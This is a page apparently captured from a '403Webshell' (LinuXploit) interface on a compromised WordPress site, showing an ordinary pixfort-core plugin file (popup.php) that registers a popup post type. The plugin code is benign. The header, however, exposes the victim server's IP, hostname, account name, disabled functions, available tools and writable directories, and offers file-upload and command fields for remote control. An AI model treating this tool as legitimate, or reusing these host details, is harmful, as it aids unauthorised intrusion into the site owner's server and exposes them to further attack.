403Webshell
Server IP : 198.38.84.71  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux 198-38-84-71.cprapid.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : vyaparmandaljobn ( 1020)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/vyaparmandaljobn/public_html/wp-content/plugins/pixfort-core/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/vyaparmandaljobn/public_html/wp-content/plugins/pixfort-core/functions//popup.php
<?php

/**
 * pixpopup custom meta fields.
 */

/* ---------------------------------------------------------------------------
 * Create new post type
 * --------------------------------------------------------------------------- */
function pix_pixpopup_post_type() {
	$pixpopup_item_slug = "pixpopup-item";

	$labels = array(
		'name' 					=> __('Popups', 'pixfort-core'),
		'singular_name' 		=> __('Popup item', 'pixfort-core'),
		'add_new' 				=> __('Add New Popup', 'pixfort-core'),
		'add_new_item' 			=> __('Add New Popup item', 'pixfort-core'),
		'edit_item' 			=> __('Edit Popup item', 'pixfort-core'),
		'new_item' 				=> __('New Popup item', 'pixfort-core'),
		'view_item' 			=> __('View Popup item', 'pixfort-core'),
		'search_items' 			=> __('Search Popup items', 'pixfort-core'),
		'not_found' 			=> __('No Popup items found', 'pixfort-core'),
		'not_found_in_trash' 	=> __('No Popup items found in Trash', 'pixfort-core'),
		'parent_item_colon' 	=> ''
	);

	$args = array(
		'labels' 				=> $labels,
		'menu_icon' 			=> PIX_CORE_PLUGIN_URI . 'functions/images/admin/popups.svg',
		'public' 				=> true,
		'publicly_queryable' 	=> true,
		'show_ui' 				=> true,
		'query_var' 			=> true,
		'capability_type' 		=> 'post',
		'hierarchical' 			=> false,
		'menu_position' 		=> null,
		'exclude_from_search' 	=> true,
		'rewrite' 				=> array('slug' => $pixpopup_item_slug, 'with_front' => true),
		'supports' 				=> array('title', 'editor', 'author', 'excerpt', 'thumbnail', 'page-attributes'),
	);

	register_post_type('pixpopup', $args);

	register_taxonomy('pixpopup-types', 'pixpopup', array(
		'hierarchical' 			=> true,
		'label' 				=>  __('pixpopup categories', 'pixfort-core'),
		'singular_label' 		=>  __('pixpopup category', 'pixfort-core'),
		'rewrite'				=> true,
		'query_var' 			=> true
	));
}
add_action('init', 'pix_pixpopup_post_type');

add_filter('manage_posts_columns', 'revealid_add_id_column', 5);
add_action('manage_posts_custom_column', 'revealid_id_column_content', 5, 2);

function revealid_add_id_column($columns) {
	$post_type = get_post_type();
	if ($post_type == 'pixpopup') {
		$columns['revealid_id'] = esc_html__('Popup Link', 'pixfort-core');
	}
	return $columns;
}

function revealid_id_column_content($column, $id) {
	$post_type = get_post_type();
	if ($post_type == 'pixpopup') {
		if ('revealid_id' == $column) {
?>
			<input onfocus="this.select();" type="text" value="#pix_popup_<?php echo esc_attr($id); ?>" readonly>
<?php
		}
	}
}

function pix_pixpopup_meta_add() {
	global $pix_pixpopup_meta_box;

	// Custom menu ------------------------------
	$aMenus = array(0 => '-- Default --');
	$oMenus = get_terms('nav_menu', array('hide_empty' => false));

	if (is_array($oMenus)) {
		foreach ($oMenus as $menu) {
			$aMenus[$menu->term_id] = $menu->name;
		}
	}

	$pix_pixpopup_meta_box = array(
		'id' 		=> 'pix-meta-page',
		'title' 	=> __('PixFort Options', 'pixfort-core'),
		'page' 		=> 'pixpopup',
		'post_types'	=> array('pixheader'),
		'context' 	=> 'normal',
		'priority' 	=> 'high',
		'fields'	=> array(

			array(
				'id' 		=> 'pix-popup-size',
				'type' 		=> 'select',
				'title' 	=> __('Popup size', 'pixfort-core'),
				'sub_desc' 	=> __('Select the width of the popup.', 'pixfort-core'),
				'options' 	=> array(
					'col-12 col-sm-4'			=> "Extra small (4 Columns)",
					'col-12 col-sm-6'			=> "Small (6 Columns)",
					'col-12 col-sm-8'			=> "Medium (8 Columns)",
					'col-12 col-sm-10'			=> "Big (10 Columns)",
					'col-12'					=> "Full width (12 Columns)",
				),
				'std'		=> 'col-12 col-sm-6'
			),
		),
	);

	add_meta_box($pix_pixpopup_meta_box['id'], $pix_pixpopup_meta_box['title'], 'pix_pixpopup_show_box', $pix_pixpopup_meta_box['page'], $pix_pixpopup_meta_box['context'], $pix_pixpopup_meta_box['priority']);
}
add_action('admin_menu', 'pix_pixpopup_meta_add');



function pix_pixpopup_show_box() {
	global $pix_pixpopup_meta_box, $post;

	// Use nonce for verification
	echo '<div id="pix-wrapper">';
	echo '<input type="hidden" name="pix_page_meta_nonce" value="', wp_create_nonce(basename(__FILE__)), '" />';
	echo '<table class="form-table">';
	echo '<tbody>';

	foreach ($pix_pixpopup_meta_box['fields'] as $field) {
		$meta = get_post_meta($post->ID, $field['id'], true);
		if (!key_exists('std', $field)) $field['std'] = false;
		$meta = ($meta || $meta === '0') ? $meta : stripslashes(htmlspecialchars(($field['std']), ENT_QUOTES));

		pix_meta_field_input($field, $meta);
	}

	echo '</tbody>';
	echo '</table>';

	echo '</div>';
}

/*-----------------------------------------------------------------------------------*/
/*	Save data when page is edited
/*-----------------------------------------------------------------------------------*/
function pix_pixpopup_save_data($post_id) {
	global $pix_pixpopup_meta_box;

	// verify nonce
	if (key_exists('pix_page_meta_nonce', $_POST)) {
		if (!wp_verify_nonce($_POST['pix_page_meta_nonce'], basename(__FILE__))) {
			return $post_id;
		}
	}

	// check autosave
	if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
		return $post_id;
	}

	// check permissions
	if ((key_exists('post_type', $_POST)) && ('page' == $_POST['post_type'])) {
		if (!current_user_can('edit_page', $post_id)) {
			return $post_id;
		}
	} elseif (!current_user_can('edit_post', $post_id)) {
		return $post_id;
	}



	// check and save fields ( $pix_pixpopup_meta_box['fields'] )
	if (!empty($pix_pixpopup_meta_box)) {
		foreach ((array)$pix_pixpopup_meta_box['fields'] as $field) {
			$old = get_post_meta($post_id, $field['id'], true);
			if (key_exists($field['id'], $_POST)) {
				$new = $_POST[$field['id']];
			} else {
				//			$new = ""; // problem with "quick edit"
				if ($field['type'] == 'switch') {
					$new = '0';
				} else {
					continue;
				}
			}

			if (isset($new) && $new != $old) {
				update_post_meta($post_id, $field['id'], $new);
			} elseif ('' == $new && $old) {
				delete_post_meta($post_id, $field['id'], $old);
			}
		}
	}
}
add_action('save_post', 'pix_pixpopup_save_data');

/*-----------------------------------------------------------------------------------*/
/*	Styles & scripts
 /*-----------------------------------------------------------------------------------*/
function pix_pixpopup_admin_styles() {
	wp_enqueue_style('pix-meta', PIX_CORE_PLUGIN_URI . '/functions/css/pixbuilder.css', false, time(), 'all');
	wp_enqueue_style('pix-meta2', PIX_CORE_PLUGIN_URI . '/functions/pixbuilder.css', false, time(), 'all');
}
add_action('admin_print_styles', 'pix_pixpopup_admin_styles');

?>

Youez - 2016 - github.com/yon3zu
LinuXploit